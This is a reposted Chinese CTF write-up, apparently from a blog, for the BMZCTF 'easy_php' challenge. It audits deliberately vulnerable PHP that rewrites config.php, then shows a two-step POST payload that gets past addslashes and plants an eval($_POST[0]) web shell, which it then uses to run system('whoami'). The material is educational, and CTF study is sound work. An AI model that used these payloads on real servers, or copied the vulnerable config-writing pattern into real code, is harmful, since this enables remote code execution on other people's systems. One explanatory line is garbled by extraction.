BMZCTF-[easy_php]-[本地复现]-[简单的代码审计]
1.题目描述
<?php
highlight_file(__FILE__);
error_reporting(0);
function new_addslashes($string) {
if(!is_array($string)) return addslashes($string);
foreach($string as $key => $val) $string[$key] = new_addslashes($val);
return $string;
}
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
$file = __DIR__ .'/config.php';
require $file;
$key = $_POST['info']['name'];
if(!isset($LANG[$key])) {
$content = file_get_contents($file);
$content = substr($content,0,-3);
$data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
file_put_contents($file,$data);
} elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
$content = file_get_contents($file);
$content = str_replace($LANG[$key],$_POST['no1'],$content);
file_put_contents($file,$content);
}
}
if(isset($_GET['re'])){
file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}
2.代码审计
讲在前面:
0.str_replace()函数的第一个参数,如果是从某文件里面读取的某变量的字符串值,那么转义符号不会读到。
1.addslashes($string):对字符串参数中的预定义字符进行转义,并返回转义后的字符串
2.__DIR__:取出当前脚本执行的物理路径
3.题目源码中的base64编码【PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg==】解码后:
<?php
$LANG['member_manage'] = 'admin';
?>
4.file_get_contents — 将整个文件读入一个字符串
5.file_put_contents — 将一个字符串写入文件
通读代码:
<?php
highlight_file(__FILE__); // 高亮显示当前页面源码
error_reporting(0); // 关闭所有的错误报告
function new_addslashes($string) { // 对string参数中的预定义字符进行转义
if(!is_array($string)) return addslashes($string);
foreach($string as $key => $val) $string[$key] = new_addslashes($val);
return $string; // 返回转义后的字符串
}
if(!get_magic_quotes_gpc()) { // 若没有开启魔术字,我们就让用自定义的new_addsalshes()函数进行转义
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) { // 判断是否以POST形式提交了sudo参数,且值是否为NULL
$file = __DIR__ .'/config.php'; // 若提交且参数不为NULL,则给变量file赋值为当前目录下的config.php
require $file; // 文件包含config.php
$key = $_POST['info']['name']; // POST姿势:info[name]=test,或者info[name]=test[123]=test
if(!isset($LANG[$key])) { // 判断是否有$LANG[$key]【很明显只要我们把key传入为member_manage即可,绕过这个if语句】
$content = file_get_contents($file); // 读取file文件内容为字符串
$content = substr($content,0,-3); // 从左边第一个截取到右边倒数第4个
$data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
file_put_contents($file,$data);
} elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) { // POST:info[name]=member_manage&no1=test
$content = file_get_contents($file); // 读取字符串
$content = str_replace($LANG[$key],$_POST['no1'],$content); // 把no1键的值替换为key键的值
file_put_contents($file,$content); // 把no1键的值,读入了config.php
}
}
if(isset($_GET['re'])){ // 没什么用
file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}
<li class="task-list-item"> 解释:【很明显只要我们把key传入为member_manage即可,绕过这个if语句】
- 因为文件包含了config.php页面,该页面中有一条语句【L A N G [ ′ m e m b e r m a n a g e ′ ] = ′ a d m i n ′ ; 】 , 所 以 我 们 只 要 把 k e y 传 入 的 值 是 m e m b e r m a n a g e , 则 就 可 以 绕 过 ! i s s e t ( LANG['member_manage'] = 'admin';】,所以我们只要把key传入的值是member_manage,则就可以绕过!isset( LANG[′membermanage′]=′admin′;】,所以我们只要把key传入的值是membermanage,则就可以绕过!isset(LANG[$key])了
3.解题过程
第一步:关键代码分析
elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) { // POST:info[name]=member_manage&no1=test
$content = file_get_contents($file); // 读取字符串
$content = str_replace($LANG[$key],$_POST['no1'],$content); // 把no1键的值替换为key键的值
file_put_contents($file,$content); // 把no1键的值,读入了config.php
}
第二步:根据以上步骤构造payload
payload1:GET传入以下内容,生成config.php页面的内容
http://www.exploit.cool/exp/ctf/BMZCTF/?re
payload2:通过no1写入一句话木马,执行两次
第一次提交:
GET内容:
http://www.exploit.cool/exp/ctf/BMZCTF/
POST内容:
sudo=1
&info[name]=member_manage
&no1='?><?php eval($_POST[0])//
第二次提交:
为什么二次提交:
第一次提交:$content = str_replace($LANG[$key],$_POST['no1'],$content);
其中$LANG[$key] = "admin"
其中$_POST['no1'] = "\'?><?php eval($_POST[0])//"
其中$content = "<?php\n$LANG['member_manage'] = 'admin';\n?>"
因此$content结果是:<?php\n$LANG['member_manage'] = '\'?><?php eval($_POST[0])//';\n?>
第二次提交:str_replace($LANG[$key],$_POST['no1'],$content);
其中$LANG[$key] = "'?><?php eval($_POST[0])//"
其中$_POST['no1'] = "\'?><?php eval($_POST[0])//"
其中$content = <?php\n$LANG['member_manage'] = '\'?><?php eval($_POST[0])//';\n?>
因此$content结果是:<?php\n$LANG['member_manage'] = '\\'?><?php eval($_POST[0])//';\n?>
//注意:这里的关键问题是,$LANG[$key]在取值的时候,不会取出转义符,所以此时的$LONG[$key]的值还是跟我们之前传入的一样,也就是'?><?php eval($_POST[0])//
payload3:利用一句话木马
GET:
http://www.exploit.cool/exp/ctf/BMZCTF/config.php
POST:
0=system('whoami');
4.总结
注意:str_replace()函数的第一个参数,如果是从某文件里面读取的某变量的字符串值,那么转义符号不会读到。也就是说,$LANG[$key]取值的时候不会取出转义字符,所以是如下所示的取值结果
第一次取出$LANG[$key]的值为: amdin
第一次取出$LANG[$key]的值为: '?><?php eval($_POST[0])//
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122267354